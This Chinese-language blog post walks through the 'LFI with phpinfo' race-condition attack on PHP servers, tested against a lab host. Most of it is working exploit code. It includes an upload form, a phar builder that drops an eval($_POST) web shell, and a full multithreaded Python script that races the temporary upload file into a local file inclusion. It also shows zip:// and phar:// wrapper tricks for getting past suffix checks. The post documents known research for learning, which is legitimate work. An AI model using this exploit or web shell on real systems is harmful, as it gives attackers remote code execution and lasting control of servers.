phpinfo lfi 上传shell

0x00 基本原理

建议阅读参考文章1的pdf,基本都是根据那篇文章进行分析的,这里单纯记录下我实验过程。 任意php文件都会处理一个上传请求,上传文件都会被暂时存储在一个临时目录下面。直到php页面完全处理完请求。

In particular he notes that if file_uploads = on is set in the PHP configuration file, then PHP will accept a file upload post to any PHP file. He also notes that the upload file will be stored in the tmp location, until the requested PHP page is fully processed. The file will be deleted from the temporary directory at the end of the request if it has not been moved away or renamed.

总之: 用分块传输,增长数据长度来延迟响应时间。然后趁机去包含临时文件。

0x01 实际攻击测试

1.攻击条件

  • 存在phpinfo页面
  • 存在一个lfi漏洞php文件

2.实现测试EXP

先编写个上传页面,让phpinfo处理:

1
2
3
4
5
6
7
<form action="http://10.10.10.135/phpinfo.php" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>

在返回数据中可以看到临时文件地址: 自己调一下文中给的EXP,后面给出。成功上传shell到/tmp目录下,之后使用lfi进行文件包含即可。

3.使用phar协议包含

有时LFI漏洞代码中,会限制后缀为php的文件,才能进行包含。于是使用phar协议进行绕过。

(1) 构建phar文件

1
2
3
4
5
6
7
8
<?php 
$p = new PharData(dirname(__FILE__).'/phartest.aaa', 0,'phartest') ;

$p->addFromString('shell.php',
'Security Test
<?php $c=fopen(\'ggsimida.php\',\'w\');fwrite($c,\'<?php eval($_POST["chopper"]);?>\');?>');

?>

(2) 使用phar协议包含

先测试下:

1
http://localhost/lfi/lfi.php?f=phar://phartest.aaa/shell.php

可以成功写文件,但是修改POC后,测试始终未成功~ 有机会再看一下~~ 关键:

  • 读取phar,直接写二进制内容
  • 包含其中的shell.php

(3) 写python程序进行攻击

上传phar然后进行包含未成功,之后再看看。 单纯上传文件成功,这部分代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
#!/usr/bin/python
import sys
import threading
import socket

def setup(host, port):
TAG="Security Test"
PAYLOAD="""%s\r
<?php $c=fopen('/tmp/ggsimida.php','w');fwrite($c,'<?php eval($_POST["chopper"]);?>');?>\r""" % TAG

REQ1_DATA="""-----------------------------24589251648416\r
Content-Disposition: form-data; name="file"; filename="shell.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------24589251648416\r""" % PAYLOAD
#TODo: use zip or phar protocol files. Bypass .php ~

padding="A" * 5000
REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------24589251648416\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)

#ToDo: modify this to suit the LFI script
LFIREQ="""GET /lfi/lfi.php?f=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
return (REQ1, TAG, LFIREQ)

def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host, port)) # send post file request
s2.connect((host, port)) # send lfi request
s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] =&gt")
fn = d[i+17:i+31] # get tmp path
except ValueError:
return None

#print fn

s2.send(lfireq % (fn, host))
d = s2.recv(4096)
s.close()
s2.close()
if d.find(tag) != -1:
return fn # getshell success

counter=0

class ThreadWorker(threading.Thread):

def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args

def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter+=1
try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print "\nGot it! Shell created in /tmp/ggsimida.php"
self.event.set()
except socket.error:
return

def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(phpinforeq)
d = ""
while True:
i = s.recv(4096)
d+=i
if i == "":
break
# detect the final chunk
if i.endswith("0\r\n\r\n"):
break
s.close()
i = d.find("[tmp_name] =&gt")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")

print "found %s at %i" % (d[i:i+10],i)
# padded up a bit
return i+256

def main():

print "LFI With PHPInfo()"
print "-=" * 30
if len(sys.argv) < 2:
print "Usage: %s host [port] [threads]" % sys.argv[0]
sys.exit(1)
try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print "Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)
port=80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
print "Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)

poolsz=10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print "Error with poolsz %d: %s" % (sys.argv[3], e)
sys.exit(1)

print "Getting initial offset...",
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()

maxattempts = 1000
e = threading.Event()
l = threading.Lock()
print "Spawning worker pool (%d)..." % poolsz

sys.stdout.flush()
tp = []
for i in range(0,poolsz):
tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print
if e.is_set():
print "Woot! \m/"
else:
print ":("
except KeyboardInterrupt:
print "\nTelling threads to shutdown..."
e.set()

print "Shuttin' down..."
for t in tp:
t.join()

if __name__=="__main__":
main()

0x02 phar包含未成功原因

1. 问题原因

对于phar协议,我们他会把http://10.10.10.135/lfi/lfi.php?f=phar:///tmp/phptmppath/shell.php 会看成目录,而phptmppath其实就是上传的临时文件~

2. 问题解决

使用zip协议:

1
zip:///tmp/phptmppath%23shell.php

没有了上述问题,成功包含。
注意: 压缩zip文件时,一定要选择存储(only store)~ 不要压缩~
参考: https://lightless.me/archives/include-file-from-zip-or-phar.html

0x03 参考

https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
http://www.freebuf.com/articles/web/79830.html
https://www.91ri.org/11298.html

文章作者: angelwhu
文章链接: https://www.angelwhu.com/paper/2016/06/13/phpinfo-lfi-upload-shell/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 angelwhu_blog